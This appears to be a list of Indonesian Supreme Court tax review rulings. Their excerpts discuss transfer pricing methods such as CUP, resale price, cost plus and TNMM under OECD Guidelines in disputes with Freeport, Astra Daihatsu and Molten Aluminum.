Register : 10-01-2017 — Putus : 13-03-2017 — Upload : 18-04-2017
Putusan MAHKAMAH AGUNG Nomor 187 B/PK/PJK/2017
Tanggal 13 Maret 2017 — DIREKTUR JENDERAL PAJAK VS PT. FREEPORT INDONESIA;
7347 Berkekuatan Hukum Tetap
  • Selection of the most appropriate transferpricing method to the circumstances of thecaseHalaman 50 dari 111 halaman.
    Putusan Nomor 187/B/PK/PJK/201 72.1 Parts Il and Ill of this chapter respectivelydescribe traditional transaction methods andtransactional profit methods that can beused to establish whether the conditionsimposed in the commercial or financialrelations between associated enterprises areconsistent with the arm's length principle.Traditionaltransaction methods are thecomparable uncontrolled price method orCUP method, the resale price method, andthe cost plus method.
    As a result, where, takingaccount of the criteria described at paragraph2.2, a traditional transaction method and atransactional profit method can be applied inan equally reliable manner, the traditionaltransaction method is preferable to thetransactional profit method. Moreover, where,taking account of the criteria described atparagraph 2.2, the comparable uncontrolledHalaman 51 dari 111 halaman.
    Putusan Nomor 187/B/PK/PJK/201 7price method (CUP) and another transferpricing method can be applied in an equallyreliable manner, the CUP method is to be preferred. See paragraphs 2.132.20 for adiscussion of the CUP method.2.13 The CUP method compares the price charged for property or services transferred in a controlled transaction to the price charged for property or services transferred in a comparable uncontrolled transaction in comparable circumstances.
    These methodsare the comparable uncontrolled price methodor CUP method, the resale price method, andthe cost plus method.2) Tanggapan Termohon Peninjauan Kembali yangmenyatakan bahwa hal yang perlu diperhatikanpada saat menerapkan harga transfer wajar(arms length price) adalah hanya harga jualbarang, menunjukkan bahwa TermohonPeninjauan Kembali tidak memahami apa definisidan pengertian dari Prinsip Kewajaran dalamTransfer Pricing.Berdasarkan ketentuan yang ada di KontrakKarya maupun di OECD TP Guidelines
Putus : 26-05-2016 — Upload : 13-09-2016
Putusan MAHKAMAH AGUNG Nomor 350/B/PK/PJK/2016
Tanggal 26 Mei 2016 — DIREKTUR JENDERAL PAJAK VS PT. ASTRA DAIHATSU MOTOR
71100 Berkekuatan Hukum Tetap
  • bahwa dari sebagian isi dari SE04/PJ.7/1993 dapatdiartikan bahwa pendekatan harga pokok plus (CostPlus method) dapat digunakan untuk barang yangmempunyai spesifikasi knusus misalnya semi finishedHalaman 25 dari 33 halaman. Putusan Nomor 350/B/PK/PJK/2016products.
    Dengan demikian kriteria yang mengikat untukdapat menggunakan Cost Plus method adalah barangyang mempunyai spesifikasi khusus yang diberikancontoh salah satunya adalah semi finished products.Bahwa frase kata "misalnya memberi arti dapat lebihdari satu contoh yang sudah disebutkan dimanakesemuanya harus merupakan barang yang mempunyaispesifikasi knusus.
    Demikianjuga selanjutnya, jika metode resale price atau metodeCost Plus sulit diterapkan maka baru digunakan metodeTransactional Net Margin Method (TNMM);Halaman 28 dari 33 halaman. Putusan Nomor 350/B/PK/PJK/2016bahwa dalam hal ini tidak terdapat kesulitan untukmenerapkan metode Cost Plus sehingga dengandemikian tidak tepat apabila metode yang digunakanlangsung menuju kepada metode Transactional NetMargin Method (TNMM);c.
    Metode harga pasar sebanding (Comparableuncontrolled price method);2. Metode harga jual minus (Sales minus/Resale pricemethod);3. Metode harga pokok plus (Cost Plus method);4. Metode lainnya yang dapat diterima misalnya metodeTransactional Net Margin Method (TNMM).bahwa pemilihan metode harus dilakukan menuruturutan hierarki, apabila metode harga pasar sebandingsulit diteraokan maka digunakan metode resale priceatau metode Cost Plus.
    Demikian juga selanjutnya, jikametode resale price atau metode Cost Plus sulitditerapkan maka baru digunakan metode TransactionalNet Margin Method (TNMM);bahwa dalam hal ini tidak terdapat kesulitan untukmenerapkan metode Cost Plus sehingga dengandemikian tidak tepat apabila metode yang digunakanlangsung menuju kepada metode Transactional NetMargin Method (TNMM);bahwa metode Cost Plus juga merupakan metode yangdipilih dan digunakan oleh Termohon PeninjauanKembali sebagaimana Termohon Peninjauan Kembalisampaikan
Putus : 22-09-2015 — Upload : 10-03-2016
Putusan MAHKAMAH AGUNG Nomor 483/B/PK/PJK/2015
Tanggal 22 September 2015 — DIREKTUR JENDERAL PAJAK vs PT MOLTEN ALUMINUM PRODUCER INDONESIA
12086 Berkekuatan Hukum Tetap
  • harus diperhatikan kondisi yangmenyebabkan perbedaan harga antara lain sebagai berikut:e Pasarpasar yang berbeda secara geografis;e Potongan harga dan potongan kuantitas;e Kualitas barang;e Biaya transportasi;e Asuransi;Bahwa pada Bab II dari OECD Transfer Pricing Guidelines forMultinational Enterprises and Tax Administrations ("OECD Guidelines")secara umum sejalan dengan KEP 01/PJ.07/1993 dan mengaturnya lebihHalaman 4 dari 36 halaman Putusan Nomor 483/B/PK/PJK/2015rinci, dinyatakan bahwa "CUP method
    Metode tersebuttersebut termasuk metode tidak langsung, yang antara laindikenal beberapa metode seperti berikut ini:Metode harga pasar sebanding (comparable uncontrolled pricemethoa);Metode harga jual minus (sales minus/resale price method);Metode harga pokok plus (cost plus method);Metode lainnya yang dapat diterima;Bahwa penggunaan metode CUP sesuai dengan butir 3.2.1 KEP01/PJ.7/1993 yang mengatur bahwa metode ini dapat digunakandalam hal terdapat penjualan kepada pihak yang ada hubunganistimewa
    Where it is possible tolocate comparable uncontrolled transactions, the CUP method isthe most direct and reliable way to apply the armss lengthprinciple. Consequently, in such cases the CUP method ispreferable over all other methods.Paragraph 2.18:Halaman 23 dari 36 halaman Putusan Nomor 483/B/PK/PJK/2015The CUP method is a particularly reliable method where anindependent enterprise sells the same product as is sold betweentwo associated enterprises.
    If a reasonablyaccurate adjustment cannot be made, the reliability of the CUPmethod would be reduced, and it might be necessary to selectanother less direct method instead.15.5. Bahwa dengan demikian, kondisi yang tepat dalam penerapanmetode CUP adalah:a. Barang atau jasa memiliki karakterisitik yang identik dalamkondisi yang sebandingb.
    ),Metode harga jual minus (Sales Minus/Resale Price Method),Metode harga pokok plus (Cost Plus Method), dan Metodelainnya yang dapat diterima.